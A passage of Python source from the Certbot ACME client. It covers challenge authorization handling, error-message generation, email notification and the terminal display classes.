    def atexit_print_messages(self, pid=None):
        """Function to be registered with atexit to print messages.

        :param int pid: Process ID

        """
        if pid is None:
            pid = INITIAL_PID
        # This ensures that messages are only printed from the process that
        # created the Reporter.
        if pid == os.getpid():
            self.print_messages()

    def print_messages(self):
        """Prints messages to the user and clears the message queue.

        If there is an unhandled exception, only messages for which
        ``on_crash`` is ``True`` are printed.

        """
        bold_on = False
        if not self.messages.empty():
            no_exception = sys.exc_info()[0] is None
            bold_on = sys.stdout.isatty()
            if not self.config.quiet:
                if bold_on:
                    print(util.ANSI_SGR_BOLD)
                print('IMPORTANT NOTES:')
            first_wrapper = textwrap.TextWrapper(
                initial_indent=' - ',
                subsequent_indent=(' ' * 3),
                break_long_words=False,
                break_on_hyphens=False)
            next_wrapper = textwrap.TextWrapper(
                initial_indent=first_wrapper.subsequent_indent,
                subsequent_indent=first_wrapper.subsequent_indent,
                break_long_words=False,
                break_on_hyphens=False)
        while not self.messages.empty():
            msg = self.messages.get()
            if self.config.quiet:
                # In --quiet mode, we only print high priority messages that
                # are flagged for crash cases
                if not (msg.priority == self.HIGH_PRIORITY and msg.on_crash):
                    continue
            if no_exception or msg.on_crash:
                if bold_on and msg.priority > self.HIGH_PRIORITY:
                    if not self.config.quiet:
                        sys.stdout.write(util.ANSI_SGR_RESET)
                        bold_on = False
                lines = msg.text.splitlines()
                print(first_wrapper.fill(lines[0]))
                if len(lines) > 1:
                    print("\n".join(
                        next_wrapper.fill(line) for line in lines[1:]))
        if bold_on and not self.config.quiet:
            sys.stdout.write(util.ANSI_SGR_RESET)






"""ACME AuthHandler."""
import logging
import time

import six
import zope.component

from acme import challenges
from acme import messages

from certbot import achallenges
from certbot import errors
from certbot import error_handler
from certbot import interfaces


logger = logging.getLogger(__name__)


class AuthHandler(object):
    """ACME Authorization Handler for a client.

    :ivar auth: Authenticator capable of solving
        :class:`~acme.challenges.Challenge` types
    :type auth: :class:`certbot.interfaces.IAuthenticator`

    :ivar acme.client.Client acme: ACME client API.

    :ivar account: Client's Account
    :type account: :class:`certbot.account.Account`

    :ivar dict authzr: ACME Authorization Resource dict where keys are domains
        and values are :class:`acme.messages.AuthorizationResource`
    :ivar list achalls: DV challenges in the form of
        :class:`certbot.achallenges.AnnotatedChallenge`

    """
    def __init__(self, auth, acme, account):
        self.auth = auth
        self.acme = acme

        self.account = account
        self.authzr = dict()

        # List must be used to keep responses straight.
        self.achalls = []

    def get_authorizations(self, domains, best_effort=False):
        """Retrieve all authorizations for challenges.

        :param list domains: Domains for authorization
        :param bool best_effort: Whether or not all authorizations are
             required (this is useful in renewal)

        :returns: List of authorization resources
        :rtype: list

        :raises .AuthorizationError: If unable to retrieve all
            authorizations

        """
        for domain in domains:
            self.authzr[domain] = self.acme.request_domain_challenges(
                domain, self.account.regr.new_authzr_uri)

        self._choose_challenges(domains)

        # While there are still challenges remaining...
        while self.achalls:
            resp = self._solve_challenges()
            logger.info("Waiting for verification...")

            # Send all Responses - this modifies achalls
            self._respond(resp, best_effort)

        # Just make sure all decisions are complete.
        self.verify_authzr_complete()

        # Only return valid authorizations
        retVal = [authzr for authzr in self.authzr.values()
                  if authzr.body.status == messages.STATUS_VALID]

        if not retVal:
            raise errors.AuthorizationError(
                "Challenges failed for all domains")

        return retVal

    def _choose_challenges(self, domains):
        """Retrieve necessary challenges to satisfy server."""
        logger.info("Performing the following challenges:")
        for dom in domains:
            path = gen_challenge_path(
                self.authzr[dom].body.challenges,
                self._get_chall_pref(dom),
                self.authzr[dom].body.combinations)

            dom_achalls = self._challenge_factory(
                dom, path)
            self.achalls.extend(dom_achalls)

    def _solve_challenges(self):
        """Get Responses for challenges from authenticators."""
        resp = []
        with error_handler.ErrorHandler(self._cleanup_challenges):
            try:
                if self.achalls:
                    resp = self.auth.perform(self.achalls)
            except errors.AuthorizationError:
                logger.critical("Failure in setting up challenges.")
                logger.info("Attempting to clean up outstanding challenges...")
                raise

        assert len(resp) == len(self.achalls)

        return resp

    def _respond(self, resp, best_effort):
        """Send/Receive confirmation of all challenges.

        .. note:: This method also cleans up the auth_handler state.

        """
        # TODO: chall_update is a dirty hack to get around acme-spec #105
        chall_update = dict()
        active_achalls = self._send_responses(self.achalls,
                                              resp, chall_update)

        # Check for updated status...
        try:
            self._poll_challenges(chall_update, best_effort)
        finally:
            # This removes challenges from self.achalls
            self._cleanup_challenges(active_achalls)

    def _send_responses(self, achalls, resps, chall_update):
        """Send responses and make sure errors are handled.

        :param dict chall_update: parameter that is updated to hold
            authzr -> list of outstanding solved annotated challenges

        """
        active_achalls = []
        for achall, resp in six.moves.zip(achalls, resps):
            # This line needs to be outside of the if block below to
            # ensure failed challenges are cleaned up correctly
            active_achalls.append(achall)

            # Don't send challenges for None and False authenticator responses
            if resp is not None and resp:
                self.acme.answer_challenge(achall.challb, resp)
                # TODO: answer_challenge returns challr, with URI,
                # that can be used in _find_updated_challr
                # comparisons...
                if achall.domain in chall_update:
                    chall_update[achall.domain].append(achall)
                else:
                    chall_update[achall.domain] = [achall]

        return active_achalls

    def _poll_challenges(
            self, chall_update, best_effort, min_sleep=3, max_rounds=15):
        """Wait for all challenge results to be determined."""
        dom_to_check = set(chall_update.keys())
        comp_domains = set()
        rounds = 0

        while dom_to_check and rounds < max_rounds:
            # TODO: Use retry-after...
            time.sleep(min_sleep)
            all_failed_achalls = set()
            for domain in dom_to_check:
                comp_achalls, failed_achalls = self._handle_check(
                    domain, chall_update[domain])

                if len(comp_achalls) == len(chall_update[domain]):
                    comp_domains.add(domain)
                elif not failed_achalls:
                    for achall, _ in comp_achalls:
                        chall_update[domain].remove(achall)
                # We failed some challenges... damage control
                else:
                    if best_effort:
                        comp_domains.add(domain)
                        logger.warning(
                            "Challenge failed for domain %s",
                            domain)
                    else:
                        all_failed_achalls.update(
                            updated for _, updated in failed_achalls)

            if all_failed_achalls:
                _report_failed_challs(all_failed_achalls)
                raise errors.FailedChallenges(all_failed_achalls)

            dom_to_check -= comp_domains
            comp_domains.clear()
            rounds += 1

    def _handle_check(self, domain, achalls):
        """Returns tuple of ('completed', 'failed')."""
        completed = []
        failed = []

        self.authzr[domain], _ = self.acme.poll(self.authzr[domain])
        if self.authzr[domain].body.status == messages.STATUS_VALID:
            return achalls, []

        # Note: if the whole authorization is invalid, the individual failed
        #     challenges will be determined here...
        for achall in achalls:
            updated_achall = achall.update(challb=self._find_updated_challb(
                self.authzr[domain], achall))

            # This does nothing for challenges that have yet to be decided yet.
            if updated_achall.status == messages.STATUS_VALID:
                completed.append((achall, updated_achall))
            elif updated_achall.status == messages.STATUS_INVALID:
                failed.append((achall, updated_achall))

        return completed, failed

    def _find_updated_challb(self, authzr, achall):  # pylint: disable=no-self-use
        """Find updated challenge body within Authorization Resource.

        .. warning:: This assumes only one instance of type of challenge in
            each challenge resource.

        :param .AuthorizationResource authzr: Authorization Resource
        :param .AnnotatedChallenge achall: Annotated challenge for which
            to get status

        """
        for authzr_challb in authzr.body.challenges:
            if type(authzr_challb.chall) is type(achall.challb.chall):  # noqa
                return authzr_challb
        raise errors.AuthorizationError(
            "Target challenge not found in authorization resource")

    def _get_chall_pref(self, domain):
        """Return list of challenge preferences.

        :param str domain: domain for which you are requesting preferences

        """
        # Make sure to make a copy...
        chall_prefs = []
        chall_prefs.extend(self.auth.get_chall_pref(domain))
        return chall_prefs

    def _cleanup_challenges(self, achall_list=None):
        """Cleanup challenges.

        If achall_list is not provided, cleanup all achallenges.

        """
        logger.info("Cleaning up challenges")

        if achall_list is None:
            achalls = self.achalls
        else:
            achalls = achall_list

        if achalls:
            self.auth.cleanup(achalls)
            for achall in achalls:
                self.achalls.remove(achall)

    def verify_authzr_complete(self):
        """Verifies that all authorizations have been decided.

        :returns: Whether all authzr are complete
        :rtype: bool

        """
        for authzr in self.authzr.values():
            if (authzr.body.status != messages.STATUS_VALID and
                    authzr.body.status != messages.STATUS_INVALID):
                raise errors.AuthorizationError("Incomplete authorizations")

    def _challenge_factory(self, domain, path):
        """Construct Namedtuple Challenges

        :param str domain: domain of the enrollee

        :param list path: List of indices from `challenges`.

        :returns: achalls, list of challenge type
            :class:`certbot.achallenges.Indexed`
        :rtype: list

        :raises .errors.Error: if challenge type is not recognized

        """
        achalls = []

        for index in path:
            challb = self.authzr[domain].body.challenges[index]
            achalls.append(challb_to_achall(challb, self.account.key, domain))

        return achalls


def challb_to_achall(challb, account_key, domain):
    """Converts a ChallengeBody object to an AnnotatedChallenge.

    :param .ChallengeBody challb: ChallengeBody
    :param .JWK account_key: Authorized Account Key
    :param str domain: Domain of the challb

    :returns: Appropriate AnnotatedChallenge
    :rtype: :class:`certbot.achallenges.AnnotatedChallenge`

    """
    chall = challb.chall
    logger.info("%s challenge for %s", chall.typ, domain)

    if isinstance(chall, challenges.KeyAuthorizationChallenge):
        return achallenges.KeyAuthorizationAnnotatedChallenge(
            challb=challb, domain=domain, account_key=account_key)
    elif isinstance(chall, challenges.DNS):
        return achallenges.DNS(challb=challb, domain=domain)
    else:
        raise errors.Error(
            "Received unsupported challenge of type: %s", chall.typ)


def gen_challenge_path(challbs, preferences, combinations):
    """Generate a plan to get authority over the identity.

    .. todo:: This can be possibly be rewritten to use resolved_combinations.

    :param tuple challbs: A tuple of challenges
        (:class:`acme.messages.Challenge`) from
        :class:`acme.messages.AuthorizationResource` to be
        fulfilled by the client in order to prove possession of the
        identifier.

    :param list preferences: List of challenge preferences for domain
        (:class:`acme.challenges.Challenge` subclasses)

    :param tuple combinations: A collection of sets of challenges from
        :class:`acme.messages.Challenge`, each of which would
        be sufficient to prove possession of the identifier.

    :returns: tuple of indices from ``challenges``.
    :rtype: tuple

    :raises certbot.errors.AuthorizationError: If a
        path cannot be created that satisfies the CA given the preferences and
        combinations.

    """
    if combinations:
        return _find_smart_path(challbs, preferences, combinations)
    else:
        return _find_dumb_path(challbs, preferences)


def _find_smart_path(challbs, preferences, combinations):
    """Find challenge path with server hints.

    Can be called if combinations is included. Function uses a simple
    ranking system to choose the combo with the lowest cost.

    """
    chall_cost = {}
    max_cost = 1
    for i, chall_cls in enumerate(preferences):
        chall_cost[chall_cls] = i
        max_cost += i

    # max_cost is now equal to sum(indices) + 1

    best_combo = []
    # Set above completing all of the available challenges
    best_combo_cost = max_cost

    combo_total = 0
    for combo in combinations:
        for challenge_index in combo:
            combo_total += chall_cost.get(challbs[
                challenge_index].chall.__class__, max_cost)

        if combo_total < best_combo_cost:
            best_combo = combo
            best_combo_cost = combo_total

        combo_total = 0

    if not best_combo:
        _report_no_chall_path()

    return best_combo


def _find_dumb_path(challbs, preferences):
    """Find challenge path without server hints.

    Should be called if the combinations hint is not included by the
    server. This function either returns a path containing all
    challenges provided by the CA or raises an exception.

    """
    path = []
    for i, challb in enumerate(challbs):
        # supported is set to True if the challenge type is supported
        supported = next((True for pref_c in preferences
                          if isinstance(challb.chall, pref_c)), False)
        if supported:
            path.append(i)
        else:
            _report_no_chall_path()

    return path


def _report_no_chall_path():
    """Logs and raises an error that no satisfiable chall path exists."""
    msg = ("Client with the currently selected authenticator does not support "
           "any combination of challenges that will satisfy the CA.")
    logger.fatal(msg)
    raise errors.AuthorizationError(msg)


_ACME_PREFIX = "urn:acme:error:"


_ERROR_HELP_COMMON = (
    "To fix these errors, please make sure that your domain name was entered "
    "correctly and the DNS A record(s) for that domain contain(s) the "
    "right IP address.")


_ERROR_HELP = {
    "connection":
        _ERROR_HELP_COMMON + " Additionally, please check that your computer "
        "has a publicly routable IP address and that no firewalls are preventing "
        "the server from communicating with the client. If you're using the "
        "webroot plugin, you should also verify that you are serving files "
        "from the webroot path you provided.",
    "dnssec":
        _ERROR_HELP_COMMON + " Additionally, if you have DNSSEC enabled for "
        "your domain, please ensure that the signature is valid.",
    "malformed":
        "To fix these errors, please make sure that you did not provide any "
        "invalid information to the client, and try running Certbot "
        "again.",
    "serverInternal":
        "Unfortunately, an error on the ACME server prevented you from completing "
        "authorization. Please try again later.",
    "tls":
        _ERROR_HELP_COMMON + " Additionally, please check that you have an "
        "up-to-date TLS configuration that allows the server to communicate "
        "with the Certbot client.",
    "unauthorized": _ERROR_HELP_COMMON,
    "unknownHost": _ERROR_HELP_COMMON,
}


def _report_failed_challs(failed_achalls):
    """Notifies the user about failed challenges.

    :param set failed_achalls: A set of failed
        :class:`certbot.achallenges.AnnotatedChallenge`.

    """
    problems = dict()
    for achall in failed_achalls:
        if achall.error:
            problems.setdefault(achall.error.typ, []).append(achall)

    reporter = zope.component.getUtility(interfaces.IReporter)
    for achalls in six.itervalues(problems):
        reporter.add_message(
            _generate_failed_chall_msg(achalls), reporter.MEDIUM_PRIORITY)


def _generate_failed_chall_msg(failed_achalls):
    """Creates a user friendly error message about failed challenges.

    :param list failed_achalls: A list of failed
        :class:`certbot.achallenges.AnnotatedChallenge` with the same error
        type.

    :returns: A formatted error message for the client.
    :rtype: str

    """
    typ = failed_achalls[0].error.typ
    if typ.startswith(_ACME_PREFIX):
        typ = typ[len(_ACME_PREFIX):]
    msg = ["The following errors were reported by the server:"]

    for achall in failed_achalls:
        msg.append("\n\nDomain: %s\nType:   %s\nDetail: %s" % (
            achall.domain, typ, achall.error.detail))

    if typ in _ERROR_HELP:
        msg.append("\n\n")
        msg.append(_ERROR_HELP[typ])

    return "".join(msg)






"""Client annotated ACME challenges.

Please use names such as ``achall`` to distiguish from variables "of type"
:class:`acme.challenges.Challenge` (denoted by ``chall``)
and :class:`.ChallengeBody` (denoted by ``challb``)::

  from acme import challenges
  from acme import messages
  from certbot import achallenges

  chall = challenges.DNS(token='foo')
  challb = messages.ChallengeBody(chall=chall)
  achall = achallenges.DNS(chall=challb, domain='example.com')

Note, that all annotated challenges act as a proxy objects::

  achall.token == challb.token

"""
import logging

from acme import challenges
from acme import jose


logger = logging.getLogger(__name__)


# pylint: disable=too-few-public-methods


class AnnotatedChallenge(jose.ImmutableMap):
    """Client annotated challenge.

    Wraps around server provided challenge and annotates with data
    useful for the client.

    :ivar challb: Wrapped `~.ChallengeBody`.

    """
    __slots__ = ('challb',)
    acme_type = NotImplemented

    def __getattr__(self, name):
        return getattr(self.challb, name)


class KeyAuthorizationAnnotatedChallenge(AnnotatedChallenge):
    """Client annotated `KeyAuthorizationChallenge` challenge."""
    __slots__ = ('challb', 'domain', 'account_key')

    def response_and_validation(self, *args, **kwargs):
        """Generate response and validation."""
        return self.challb.chall.response_and_validation(
            self.account_key, *args, **kwargs)


class DNS(AnnotatedChallenge):
    """Client annotated "dns" ACME challenge."""
    __slots__ = ('challb', 'domain')
    acme_type = challenges.DNS






"""Send e-mail notification to system administrators."""

import email
import smtplib
import socket
import subprocess


def notify(subject, whom, what):
    """Send email notification.

    Try to notify the addressee (``whom``) by e-mail, with Subject:
    defined by ``subject`` and message body by ``what``.

    """
    msg = email.message_from_string(what)
    msg.add_header("From", "Certbot renewal agent <root>")
    msg.add_header("To", whom)
    msg.add_header("Subject", subject)
    msg = msg.as_string()
    try:
        lmtp = smtplib.LMTP()
        lmtp.connect()
        lmtp.sendmail("root", [whom], msg)
    except (smtplib.SMTPHeloError, smtplib.SMTPRecipientsRefused,
            smtplib.SMTPSenderRefused, smtplib.SMTPDataError, socket.error):
        # We should try using /usr/sbin/sendmail in this case
        try:
            proc = subprocess.Popen(["/usr/sbin/sendmail", "-t"],
                                    stdin=subprocess.PIPE)
            proc.communicate(msg)
        except OSError:
            return False
    return True






"""Provides Tab completion when prompting users for a path."""
import glob
# readline module is not available on all systems
try:
    import readline
except ImportError:
    import certbot.display.dummy_readline as readline


class Completer(object):
    """Provides Tab completion when prompting users for a path.

    This class is meant to be used with readline to provide Tab
    completion for users entering paths. The complete method can be
    passed to readline.set_completer directly, however, this function
    works best as a context manager. For example:

    with Completer():
        raw_input()

    In this example, Tab completion will be available during the call to
    raw_input above, however, readline will be restored to its previous
    state when exiting the body of the with statement.

    """

    def __init__(self):
        self._iter = self._original_completer = self._original_delims = None

    def complete(self, text, state):
        """Provides path completion for use with readline.

        :param str text: text to offer completions for
        :param int state: which completion to return

        :returns: possible completion for text or ``None`` if all
            completions have been returned
        :rtype: str

        """
        if state == 0:
            self._iter = glob.iglob(text + '*')
        return next(self._iter, None)

    def __enter__(self):
        self._original_completer = readline.get_completer()
        self._original_delims = readline.get_completer_delims()

        readline.set_completer(self.complete)
        readline.set_completer_delims(' \t\n;')

        # readline can be implemented using GNU readline or libedit
        # which have different configuration syntax
        if 'libedit' in readline.__doc__:
            readline.parse_and_bind('bind ^I rl_complete')
        else:
            readline.parse_and_bind('tab: complete')

    def __exit__(self, unused_type, unused_value, unused_traceback):
        readline.set_completer_delims(self._original_delims)
        readline.set_completer(self._original_completer)






"""Certbot display."""
import logging
import os
import textwrap

import dialog
import six
import zope.interface

from certbot import interfaces
from certbot import errors
from certbot.display import completer


logger = logging.getLogger(__name__)

WIDTH = 72
HEIGHT = 20

DSELECT_HELP = (
    "Use the arrow keys or Tab to move between window elements. Space can be "
    "used to complete the input path with the selected element in the "
    "directory window. Pressing enter will select the currently highlighted "
    "button.")
"""Help text on how to use dialog's dselect."""

# Display exit codes
OK = "ok"
"""Display exit code indicating user acceptance."""

CANCEL = "cancel"
"""Display exit code for a user canceling the display."""

HELP = "help"
"""Display exit code when for when the user requests more help."""

ESC = "esc"
"""Display exit code when the user hits Escape"""


def _wrap_lines(msg):
    """Format lines nicely to 80 chars.

    :param str msg: Original message

    :returns: Formatted message respecting newlines in message
    :rtype: str

    """
    lines = msg.splitlines()
    fixed_l = []

    for line in lines:
        fixed_l.append(textwrap.fill(
            line,
            80,
            break_long_words=False,
            break_on_hyphens=False))

    return os.linesep.join(fixed_l)


def _clean(dialog_result):
    """Treat sundy python-dialog return codes as CANCEL

    :param tuple dialog_result: (code, result)
    :returns: the argument but with unknown codes set to -1 (Error)
    :rtype: tuple
    """
    code, result = dialog_result
    if code in (OK, HELP):
        return dialog_result
    elif code in (CANCEL, ESC):
        return (CANCEL, result)
    else:
        logger.debug("Surprising dialog return code %s", code)
        return (CANCEL, result)


@zope.interface.implementer(interfaces.IDisplay)
class NcursesDisplay(object):
    """Ncurses-based display."""

    def __init__(self, width=WIDTH, height=HEIGHT):
        super(NcursesDisplay, self).__init__()
        self.dialog = dialog.Dialog(autowidgetsize=True)
        assert OK == self.dialog.DIALOG_OK, "What kind of absurdity is this?"
        self.width = width
        self.height = height

    def notification(self, message, height=10, pause=False):
        # pylint: disable=unused-argument
        """Display a notification to the user and wait for user acceptance.

        .. todo:: It probably makes sense to use one of the transient message
            types for pause. It isn't straightforward how best to approach
            the matter though given the context of our messages.
            http://pythondialog.sourceforge.net/doc/widgets.html#displaying-transient-messages

        :param str message: Message to display
        :param int height: Height of the dialog box
        :param bool pause: Not applicable to NcursesDisplay

        """
        self.dialog.msgbox(message)

    def menu(self, message, choices, ok_label="OK", cancel_label="Cancel",
             help_label="", **unused_kwargs):
        """Display a menu.

        :param str message: title of menu

        :param choices: menu lines, len must be > 0
        :type choices: list of tuples (`tag`, `item`) tags must be unique or
            list of items (tags will be enumerated)

        :param str ok_label: label of the OK button
        :param str help_label: label of the help button
        :param dict unused_kwargs: absorbs default / cli_args

        :returns: tuple of the form (`code`, `index`) where
            `code` - display exit code
            `int` - index of the selected item
        :rtype: tuple

        """
        menu_options = {
            "choices": choices,
            "ok_label": ok_label,
            "cancel_label": cancel_label,
            "help_button": bool(help_label),
            "help_label": help_label,
            "width": self.width,
            "height": self.height,
            "menu_height": self.height - 6,
        }

        # Can accept either tuples or just the actual choices
        if choices and isinstance(choices[0], tuple):
            # pylint: disable=star-args
            code, selection = _clean(self.dialog.menu(message, **menu_options))

            # Return the selection index
            for i, choice in enumerate(choices):
                if choice[0] == selection:
                    return code, i

            return code, -1

        else:
            # "choices" is not formatted the way the dialog.menu expects...
            menu_options["choices"] = [
                (str(i), choice) for i, choice in enumerate(choices, 1)
            ]
            # pylint: disable=star-args
            code, index = _clean(self.dialog.menu(message, **menu_options))

            if code == CANCEL or index == "":
                return code, -1

            return code, int(index) - 1

    def input(self, message, **unused_kwargs):
        """Display an input box to the user.

        :param str message: Message to display that asks for input.
        :param dict _kwargs: absorbs default / cli_args

        :returns: tuple of the form (`code`, `string`) where
            `code` - display exit code
            `string` - input entered by the user

        """
        return self.dialog.inputbox(message)

    def yesno(self, message, yes_label="Yes", no_label="No", **unused_kwargs):
        """Display a Yes/No dialog box.

        Yes and No label must begin with different letters.

        :param str message: message to display to user
        :param str yes_label: label on the "yes" button
        :param str no_label: label on the "no" button
        :param dict _kwargs: absorbs default / cli_args

        :returns: if yes_label was selected
        :rtype: bool

        """
        return self.dialog.DIALOG_OK == self.dialog.yesno(
            message, yes_label=yes_label, no_label=no_label)

    def checklist(self, message, tags, default_status=True, **unused_kwargs):
        """Displays a checklist.

        :param message: Message to display before choices
        :param list tags: where each is of type :class:`str` len(tags) > 0
        :param bool default_status: If True, items are in a selected state by
            default.
        :param dict _kwargs: absorbs default / cli_args


        :returns: tuple of the form (`code`, `list_tags`) where
            `code` - display exit code
            `list_tags` - list of str tags selected by the user

        """
        choices = [(tag, "", default_status) for tag in tags]
        return self.dialog.checklist(message, choices=choices)

    def directory_select(self, message, **unused_kwargs):
        """Display a directory selection screen.

        :param str message: prompt to give the user

        :returns: tuple of the form (`code`, `string`) where
            `code` - display exit code
            `string` - input entered by the user

        """
        root_directory = os.path.abspath(os.sep)
        return self.dialog.dselect(
            filepath=root_directory, help_button=True, title=message)


@zope.interface.implementer(interfaces.IDisplay)
class FileDisplay(object):
    """File-based display."""

    def __init__(self, outfile):
        super(FileDisplay, self).__init__()
        self.outfile = outfile

    def notification(self, message, height=10, pause=True):
        # pylint: disable=unused-argument
        """Displays a notification and waits for user acceptance.

        :param str message: Message to display
        :param int height: No effect for FileDisplay
        :param bool pause: Whether or not the program should pause for the
            user's confirmation

        """
        side_frame = "-" * 79
        message = _wrap_lines(message)
        self.outfile.write(
            "{line}{frame}{line}{msg}{line}{frame}{line}".format(
                line=os.linesep, frame=side_frame, msg=message))
        if pause:
            six.moves.input("Press Enter to Continue")

    def menu(self, message, choices, ok_label="", cancel_label="",
             help_label="", **unused_kwargs):
        # pylint: disable=unused-argument
        """Display a menu.

        .. todo:: This doesn't enable the help label/button (I wasn't sold on
           any interface I came up with for this). It would be a nice feature

        :param str message: title of menu
        :param choices: Menu lines, len must be > 0
        :type choices: list of tuples (tag, item) or
            list of descriptions (tags will be enumerated)
        :param dict _kwargs: absorbs default / cli_args

        :returns: tuple of (`code`, `index`) where
            `code` - str display exit code
            `index` - int index of the user's selection

        :rtype: tuple

        """
        self._print_menu(message, choices)

        code, selection = self._get_valid_int_ans(len(choices))

        return code, selection - 1

    def input(self, message, **unused_kwargs):
        # pylint: disable=no-self-use
        """Accept input from the user.

        :param str message: message to display to the user
        :param dict _kwargs: absorbs default / cli_args

        :returns: tuple of (`code`, `input`) where
            `code` - str display exit code
            `input` - str of the user's input
        :rtype: tuple

        """
        ans = six.moves.input(
            textwrap.fill(
                "%s (Enter 'c' to cancel): " % message,
                80,
                break_long_words=False,
                break_on_hyphens=False))

        if ans == "c" or ans == "C":
            return CANCEL, "-1"
        else:
            return OK, ans

    def yesno(self, message, yes_label="Yes", no_label="No", **unused_kwargs):
        """Query the user with a yes/no question.

        Yes and No label must begin with different letters, and must contain at
        least one letter each.

        :param str message: question for the user
        :param str yes_label: Label of the "Yes" parameter
        :param str no_label: Label of the "No" parameter
        :param dict _kwargs: absorbs default / cli_args

        :returns: True for "Yes", False for "No"
        :rtype: bool

        """
        side_frame = ("-" * 79) + os.linesep

        message = _wrap_lines(message)

        self.outfile.write("{0}{frame}{msg}{0}{frame}".format(
            os.linesep, frame=side_frame, msg=message))

        while True:
            ans = six.moves.input("{yes}/{no}: ".format(
                yes=_parens_around_char(yes_label),
                no=_parens_around_char(no_label)))

            # Couldn't get pylint indentation right with elif
            # elif doesn't matter in this situation
            if (ans.startswith(yes_label[0].lower()) or
                    ans.startswith(yes_label[0].upper())):
                return True
            if (ans.startswith(no_label[0].lower()) or
                    ans.startswith(no_label[0].upper())):
                return False

    def checklist(self, message, tags, default_status=True, **unused_kwargs):
        # pylint: disable=unused-argument
        """Display a checklist.

        :param str message: Message to display to user
        :param list tags: `str` tags to select, len(tags) > 0
        :param bool default_status: Not used for FileDisplay
        :param dict _kwargs: absorbs default / cli_args

        :returns: tuple of (`code`, `tags`) where
            `code` - str display exit code
            `tags` - list of selected tags
        :rtype: tuple

        """
        while True:
            self._print_menu(message, tags)

            code, ans = self.input("Select the appropriate numbers separated "
                                   "by commas and/or spaces")

            if code == OK:
                indices = separate_list_input(ans)
                selected_tags = self._scrub_checklist_input(indices, tags)
                if selected_tags:
                    return code, selected_tags
                else:
                    self.outfile.write(
                        "** Error - Invalid selection **%s" % os.linesep)
            else:
                return code, []

    def directory_select(self, message, **unused_kwargs):
        """Display a directory selection screen.

        :param str message: prompt to give the user

        :returns: tuple of the form (`code`, `string`) where
            `code` - display exit code
            `string` - input entered by the user

        """
        with completer.Completer():
            return self.input(message)

    def _scrub_checklist_input(self, indices, tags):
        # pylint: disable=no-self-use
        """Validate input and transform indices to appropriate tags.

        :param list indices: input
        :param list tags: Original tags of the checklist

        :returns: valid tags the user selected
        :rtype: :class:`list` of :class:`str`

        """
        # They should all be of type int
        try:
            indices = [int(index) for index in indices]
        except ValueError:
            return []

        # Remove duplicates
        indices = list(set(indices))

        # Check all input is within range
        for index in indices:
            if index < 1 or index > len(tags):
                return []
        # Transform indices to appropriate tags
        return [tags[index - 1] for index in indices]

    def _print_menu(self, message, choices):
        """Print a menu on the screen.

        :param str message: title of menu
        :param choices: Menu lines
        :type choices: list of tuples (tag, item) or
            list of descriptions (tags will be enumerated)

        """
        # Can take either tuples or single items in choices list
        if choices and isinstance(choices[0], tuple):
            choices = ["%s - %s" % (c[0], c[1]) for c in choices]

        # Write out the message to the user
        self.outfile.write(
            "{new}{msg}{new}".format(new=os.linesep, msg=message))
        side_frame = ("-" * 79) + os.linesep
        self.outfile.write(side_frame)

        # Write out the menu choices
        for i, desc in enumerate(choices, 1):
            self.outfile.write(
                textwrap.fill(
                    "{num}: {desc}".format(num=i, desc=desc),
                    80,
                    break_long_words=False,
                    break_on_hyphens=False))

            # Keep this outside of the textwrap
            self.outfile.write(os.linesep)

        self.outfile.write(side_frame)

    def _get_valid_int_ans(self, max_):
        """Get a numerical selection.

        :param int max: The maximum entry (len of choices), must be positive

        :returns: tuple of the form (`code`, `selection`) where
            `code` - str display exit code ('ok' or cancel')
            `selection` - int user's selection
        :rtype: tuple

        """
        selection = -1
        if max_ > 1:
            input_msg = ("Select the appropriate number "
                         "[1-{max_}] then [enter] (press 'c' to "
                         "cancel): ".format(max_=max_))
        else:
            input_msg = ("Press 1 [enter] to confirm the selection "
                         "(press 'c' to cancel): ")
        while selection < 1:
            ans = six.moves.input(input_msg)
            if ans.startswith("c") or ans.startswith("C"):
                return CANCEL, -1
            try:
                selection = int(ans)
                if selection < 1 or selection > max_:
                    selection = -1
                    raise ValueError

            except ValueError:
                self.outfile.write(
                    "{0}** Invalid input **{0}".format(os.linesep))

        return OK, selection


@zope.interface.implementer(interfaces.IDisplay)
class NoninteractiveDisplay(object):
    """An iDisplay implementation that never asks for interactive user input"""

    def __init__(self, outfile):
        super(NoninteractiveDisplay, self).__init__()
        self.outfile = outfile

    def _interaction_fail(self, message, cli_flag, extra=""):
        "Error out in case of an attempt to interact in noninteractive mode"
        msg = "Missing command line flag or config entry for this setting:\n"
        msg += message
        if extra:
            msg += "\n" + extra
        if cli_flag:
            msg += "\n\n(You can set this with the {0} flag)".format(cli_flag)
        raise errors.MissingCommandlineFlag(msg)

    def notification(self, message, height=10, pause=False):
        # pylint: disable=unused-argument
        """Displays a notification without waiting for user acceptance.

        :param str message: Message to display to stdout
        :param int height: No effect for NoninteractiveDisplay
        :param bool pause: The NoninteractiveDisplay waits for no keyboard

        """
        side_frame = "-" * 79
        message = _wrap_lines(message)
        self.outfile.write(
            "{line}{frame}{line}{msg}{line}{frame}{line}".format(
                line=os.linesep, frame=side_frame, msg=message))

    def menu(self, message, choices, ok_label=None, cancel_label=None,
             help_label=None, default=None, cli_flag=None):
        # pylint: disable=unused-argument,too-many-arguments
        """Avoid displaying a menu.

        :param str message: title of menu
        :param choices: Menu lines, len must be > 0
        :type choices: list of tuples (tag, item) or
            list of descriptions (tags will be enumerated)
        :param int default: the default choice
        :param dict kwargs: absorbs various irrelevant labelling arguments

        :returns: tuple of (`code`, `index`) where
            `code` - str display exit code
            `index` - int index of the user's selection
        :rtype: tuple
        :raises errors.MissingCommandlineFlag: if there was no default

        """
        if default is None:
            self._interaction_fail(message, cli_flag, "Choices: " + repr(choices))

        return OK, default

    def input(self, message, default=None, cli_flag=None):
        """Accept input from the user.

        :param str message: message to display to the user

        :returns: tuple of (`code`, `input`) where
            `code` - str display exit code
            `input` - str of the user's input
        :rtype: tuple
        :raises errors.MissingCommandlineFlag: if there was no default

        """
        if default is None:
            self._interaction_fail(message, cli_flag)
        else:
            return OK, default

    def yesno(self, message, yes_label=None, no_label=None, default=None, cli_flag=None):
        # pylint: disable=unused-argument
        """Decide Yes or No, without asking anybody

        :param str message: question for the user
        :param dict kwargs: absorbs yes_label, no_label

        :raises errors.MissingCommandlineFlag: if there was no default
        :returns: True for "Yes", False for "No"
        :rtype: bool

        """
        if default is None:
            self._interaction_fail(message, cli_flag)
        else:
            return default

    def checklist(self, message, tags, default=None, cli_flag=None, **kwargs):
        # pylint: disable=unused-argument
        """Display a checklist.

        :param str message: Message to display to user
        :param list tags: `str` tags to select, len(tags) > 0
        :param dict kwargs: absorbs default_status arg

        :returns: tuple of (`code`, `tags`) where
            `code` - str display exit code
